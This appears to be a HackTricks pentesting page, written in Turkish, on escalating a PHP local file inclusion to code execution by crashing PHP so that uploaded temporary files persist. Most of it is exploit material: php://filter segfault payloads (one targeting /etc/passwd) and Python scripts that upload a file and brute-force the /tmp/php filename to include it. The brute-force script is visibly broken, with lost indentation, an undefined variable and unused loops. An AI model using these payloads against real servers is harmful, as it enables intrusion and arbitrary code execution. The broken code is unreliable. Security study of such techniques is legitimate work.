hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md

4.4 KiB
Raw Blame History

LFI2RCE via Segmentasyon Hatası

{% hint style="success" %} AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Writeup'lara göre https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (ikinci bölüm) ve https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, aşağıdaki yükler PHP'de bir segmentasyon hatasına neden oldu:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Eğer bir POST isteği gönderirseniz ve içinde bir dosya bulunuyorsa, PHP o dosyanın içeriğiyle birlikte /tmp/php<something> dizininde geçici bir dosya oluşturacaktır. Bu dosya, istek işlendikten sonra otomatik olarak silinecektir.

Bir LFI bulursanız ve PHP'de bir segmentasyon hatası oluşturmayı başarırsanız, geçici dosya asla silinmeyecektir. Bu nedenle, LFI zafiyeti ile o dosyayı bulabilir ve keyfi kodları çalıştırabilirsiniz.

Test için https://hub.docker.com/r/easyengine/php7.0 docker imajını kullanabilirsiniz.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

{% hint style="success" %} AWS Hacking'ı öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'ı öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}